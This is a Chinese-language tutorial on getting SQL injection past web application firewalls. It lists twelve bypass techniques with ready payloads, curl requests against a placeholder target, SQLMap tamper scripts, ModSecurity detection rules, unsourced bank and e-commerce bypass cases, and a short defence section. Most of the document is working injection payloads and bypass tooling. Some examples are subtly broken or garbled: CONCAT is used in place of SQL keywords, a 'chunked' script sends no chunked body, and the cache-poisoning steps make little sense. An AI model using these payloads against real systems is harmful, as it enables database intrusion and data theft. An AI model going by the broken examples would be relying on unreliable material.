一、WAF 绕过的本质
WAF(Web Application Firewall)是 SQL 注入防御的第一线。但 WAF 的规则本质是模式匹配——检查 HTTP 请求中是否包含已知的恶意模式。绕过 WAF 的核心就是让恶意 payload 看起来不像恶意的。
二、12 种 WAF 绕过技术
2.1 大小写混淆
原理:很多 WAF 用不区分大小写的 regex,但某些规则写死了大写/小写。
ModSecurity 规则示例:
SecRule ARGS "union.*select" "id:1000001"
# 如果这条规则没加 (?i) 修饰符...
绕过 Payload:
UNiOn SeLeCt 1,2,3
uNiOn sElEcT 1,2,3
UnIoN SELECT 1,2,3
防御:规则统一用小写匹配 + (?i) 修饰符。
2.2 内联注释
原理:MySQL 的 /**/ 是注释,但 WAF 不会忽略注释内的内容。
绕过 Payload:
UNION/**/SELECT/**/1,2,3
SELECT/**/*/**/FROM/**/users
WHERE/**/1=1
MySQL 特有版本注释:
UNION /*!SELECT*/ 1,2,3
UNION /*!50000SELECT*/ 1,2,3 -- 5.0+ 展开
UNION /*!50700SELECT*/ 1,2,3 -- 5.7+ 展开
/*!UNION*//*!SELECT*/ 1,2,3 -- 注释在 mysql-connector-c 中被去除
2.3 编码变换
原理:数据库驱动会自动解码某些编码。
| 编码 | 示例 | 说明 |
|---|---|---|
| URL 编码 | %55%4e%49%4f%4e |
标准 URL 编码 |
| 双重 URL 编码 | %2555%254e%2549%254f%254e |
某些 WAF 只解码一次 |
| Unicode | \u0055\u004e |
JSON 场景 |
| HTML 实体 | UNION |
某些服务端会转换 |
| MySQL HEX | 0x756e696f6e |
数据库内部表示 |
| MySQL CHAR | CHAR(85,78,73,79,78) |
绕过字符串关键字 |
| MySQL CONCAT | CONCAT(U,N,I,O,N) |
逐字符拼接 |
| 八进制 | \165\156\151\157\156 |
某些驱动转换 |
实战:
-- 绕过 WAF 中的 "UNION SELECT" 检测
CONCAT('U','N','I','O','N') CONCAT('S','E','L','E','C','T') 1,2,3
-- HEX 绕过 table_name 关键字
SELECT * FROM 0x7573657273 WHERE id=1
2.4 HTTP 参数污染(HPP)
原理:同时提交多个同名参数,利用 WAF 和后端应用解析行为的差异。
# WAF 可能只检查第一个参数,而 PHP 的 $_GET['id'] 取最后一个
curl "http://target/api?id=1&id=' OR 1=1-- -"
# PHP 的 $_GET 会得到 id=' OR 1=1-- -'
# 但 WAF 可能只看到 id=1(安全的)
不同框架的多参数行为:
| 框架 | 多参数行为 |
|---|---|
| PHP | 取最后一个值($_GET['id']) |
| ASP.NET | 拼接所有值 |
| ASP Classic | 取最后一个 |
| Node.js Express | 取第一个 |
| Python Flask | 取第一个(request.args['id']) |
更深的 HPP 变种
# 数组参数污染(PHP/Java)
curl "http://target/api?id[]=1&id[]=' OR 1=1-- -"
# 混合位置污染
curl "http://target/api?id=1&foo=bar&id=' OR 1=1-- -"
# Cookie 污染:有些应用同时从 GET 和 Cookie 取参数
curl "http://target/api?id=1" -b "id=' OR 1=1-- -"
2.5 分块传输编码(Chunked Transfer Encoding)
原理:用 HTTP 分块编码让请求体分散发送,WAF 可能在聚合前就做了检查。
# 用 Python 发送分块请求
python3 -c "
import requests
# 构造恶意 payload
payload = 'admin%27+AND+SLEEP(3)--+-'
# 强制分块
s = requests.Session()
req = requests.Request('GET', f'http://target/api?username={payload}')
prepped = s.prepare_request(req)
prepped.headers['Transfer-Encoding'] = 'chunked'
# 手动分块
import http.client
conn = http.client.HTTPConnection('target', 80)
conn.request('GET', f'/api?username={payload}')
resp = conn.getresponse()
print(resp.read())
"
2.6 换行注入(CRLF / 多重编码)
-- 某些 WAF 只检查单行
UNION
SELECT 1,2,3
-- 编码换行绕过
UNION%0ASELECT 1,2,3
UNION%0d%0aSELECT 1,2,3
-- PHP 注释可能保留换行
SELECT * FROM users
UNION
SELECT 1,2,3 FROM (SELECT 1)a
-- 某些函数可能保留换行
GROUP_CONCAT(name ORDER BY id
SEPARATOR 0x0a)
2.7 Content-Type 冲突
原理:应用和 WAF 对 Content-Type 的理解不一致。
# WAF 认为是 JSON,检查 JSON 语法
# 但应用按 form 解析
curl -X POST http://target/login \
-H "Content-Type: application/json" \
-d '{"username":"admin","password":"\" OR 1=1-- -"}'
# 混合类型
curl -X POST http://target/login \
-H "Content-Type: text/plain" \
-d 'username=admin&password=admin'\'' OR 1=1-- -'
2.8 JSON 注入
原理:JSON 语法比普通表单更严格,但如果应用把 JSON 值拼到 SQL 里...
{
"username": "admin' OR 1=1-- -",
"password": "anything"
}
-- 后端代码(危险)
$sql = "SELECT * FROM users WHERE username = '" . $json['username'] . "'";
-- 拼完: SELECT ... WHERE username = 'admin' OR 1=1-- -'
JSON 嵌套绕过
{
"user": {
"name": "admin' OR SLEEP(3)-- -"
}
}
JSON Unicode 绕过
{
"username": "admin\u0027 OR 1=1-- -"
}
2.9 HTTP/2 特性利用
原理:HTTP/2 的帧结构和 HTTP/1.1 不同,某些 WAF 处理有缺陷。
| HTTP/2 特性 | 可能绕过 |
|---|---|
| 多个 :method :path 帧 | WAF 只看第一个 |
| 响应分裂 | 绕过基于响应的检测 |
| HPACK 头部压缩 | WAF 解码有缺陷 |
| 流量合并 | WAF 聚合后才分析 |
| 伪头注入 | :path 包含 \0 字节 |
2.10 缓存投毒 + 注入
# 1. 先用正常请求让 WAF 放行
curl "http://target/api?id=1"
# 2. 让恶意请求被缓存在 CDN/WAF 中
curl -X PURGE -H "Cache-Tag: 1" http://target/api
curl "http://target/api?id=1 UNION SELECT 1,2,3" -H "Cache-Control: max-age=3600"
# 3. 后续用户请求可能命中 CDN 缓存,绕过 WAF
2.11 Open Redirect 绕过 WAF
# 某些 WAF 只检查特定路径
# 目标: http://target/admin/ (受保护)
# 存在开放重定向: http://target/redirect?url=...
# 通过重定向绕过 WAF
curl "http://target/redirect?url=http://target/admin/?id=1%27OR%201%3D1--%20"
2.12 WAF 本身的注入
讽刺的是,WAF 自己也是软件,也可能有漏洞。
WAF 规则配置注入
# ModSecurity 规则中的变量可能被注入
SecRule ARGS:name "${id}" "id:999999,deny"
# 如果 ${id} 可控...
WAF 管理接口注入
很多云 WAF(AWS WAF, Cloudflare, Akamai)的管理 API 可能有自身漏洞。
WAF 的 SQLi 绕过链
# WAF 可能被自己保护的系统绕过
# 有些 WAF 会从后端获取数据用于规则匹配
# 如果后端被注入,WAF 的配置也可能被篡改
三、Tamper Script 编写(SQLMap)
3.1 Tamper 脚本结构
#!/usr/bin/env python3
"""
自定义 Tamper 脚本示例
"""
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.LOWEST
def dependencies():
pass
def tamper(payload, **kwargs):
"""
把 UNION SELECT 替换成 UNION/**/SELECT
"""
if payload:
payload = payload.replace("UNION SELECT", "UNION/**/SELECT")
return payload
3.2 实用 Tamper 脚本
脚本一:双写绕过
def tamper(payload, **kwargs):
keywords = ['UNION', 'SELECT', 'AND', 'OR', 'FROM', 'WHERE']
for kw in keywords:
payload = payload.replace(kw, kw[0] + kw + kw[-1])
return payload
# UNION -> UUNIONN
# AND -> AANDD
脚本二:空白符替换
import re
def tamper(payload, **kwargs):
# 空格 -> 注释
payload = payload.replace(' ', '/**/')
# 或者用 + 号
payload = payload.replace(' ', '+')
return payload
脚本三:十六进制化表名
def tamper(payload, **kwargs):
import re
def replace_table(m):
table = m.group(2)
hex_table = ''.join(f'{ord(c):02x}' for c in table)
return f"{m.group(1)}0x{hex_table}{m.group(3)}"
payload = re.sub(
r"(FROM|JOIN|UPDATE|TABLE)\s+`?(\w+)`?",
replace_table,
payload,
flags=re.IGNORECASE
)
return payload
四、WAF 规则深度解析
4.1 ModSecurity 规则示例
# 基础 SQL 注入检测
SecRule ARGS "(?i)\b(union\s+select|select\s+.*\s+from)\b" \
"id:942100,phase:1,deny,status:403,log,msg:'SQL Injection'"
# 更强的检测
SecRule ARGS|ARGS_NAMES|REQUEST_HEADERS|REQUEST_URI \
"(?i)(select[\s+\%]+[\da-z\$_\-\(\)\.]+[\s+\%]+from|extractvalue\s*\(|updatexml\s*\(|SLEEP\s*\(|BENCHMARK\s*\()" \
"id:942101,phase:1,deny,status:403,log,msg:'SQL Injection Advanced'"
# 堆叠查询检测
SecRule ARGS "(?i)(;|\\x3b)\s*(drop|delete|insert|update|create|alter|truncate)\s+" \
"id:942102,phase:1,deny,status:403,log,msg:'Stacked Query Attack'"
4.2 WAF 误报问题
误报是 WAF 最大的敌人。开发者会绕过 WAF 来让合法请求通过,反而让真注入也过了。
常见误报场景:
- 搜索框中的 "UNION" 单词(比如 "UNION 2024 Conference")
- 数据库表名里有关键字(
select_items表) - JSON 数据中包含 SQL 示例代码
- 用户评论中包含 SQL 片段
4.3 绕过 WAF 的艺术
规则数量 vs 绕过难度
简单规则 → 直接绕过(大小写)
中等规则 → 编码变换 + 注释
复杂规则 → HPP + 分块 + HTTP/2
AI 检测 → 对抗样本
五、真实世界 WAF 绕过案例
5.1 某银行网站绕过
- WAF:IBM WebSphere DataPower
- 绕过:双重 URL 编码 + HPP
- 技术:
%2555%254e%2549%254f%254e只被解码一次
5.2 某大型电商绕过
- WAF:Cloudflare WAF
- 绕过:多步请求分块 + Cookie 注入
- 技术:WAF 检查单次请求,但 Cookie 中的参数被后端拼到 SQL 中
5.3 2023 年 API 网关绕过
- WAF:Kong Gateway
- 绕过:JSON Unicode + Content-Type 冲突
- 技术:
\u0027被 JSON 解码器转义为单引号,WAF 只看到 Unicode 形式
六、防御 WAF 绕过
6.1 多层防御
Layer 1: 输入验证 & 参数绑定(根本)
↓
Layer 2: WAF(模式匹配 + AI 检测)
↓
Layer 3: SQL 审计日志(异常查询检测)
↓
Layer 4: 数据库权限最小化
6.2 WAF 规则优化
# 避免误报的规则写法
SecRule ARGS "@detectSQLi" \
"id:942000,phase:1,deny,status:403,log,msg:'SQL Injection Detected',auditlog"
# 用函数替代硬编码正则
# @detectSQLi 是 CRS 提供的 SQL 注入检测函数
# 它结合了多种编码解码来检测
6.3 应用层强化
// 即使有 WAF,应用层也要做验证
function validate_input($input, $allowed_pattern) {
// 白名单验证
if (!preg_match($allowed_pattern, $input)) {
http_response_code(400);
die('Invalid input format');
}
return $input;
}
// 强制类型转换
$id = (int)$_GET['id'];
if ($id <= 0) die('Invalid ID');
6.4 数据库层限制
-- secure_file_priv 禁止文件读写
SET GLOBAL secure_file_priv = NULL;
-- max_allowed_packet 限制批量数据
SET GLOBAL max_allowed_packet = 1024 * 1024;
-- 数据库审计日志
SET GLOBAL general_log = ON;
SET GLOBAL log_output = 'TABLE';
WAF 是盾,绕过是矛。好的防御是多层——WAF 挡住常见攻击,应用层做输入验证,数据库做权限限制。没有任何单一防护能 100% 防住注入。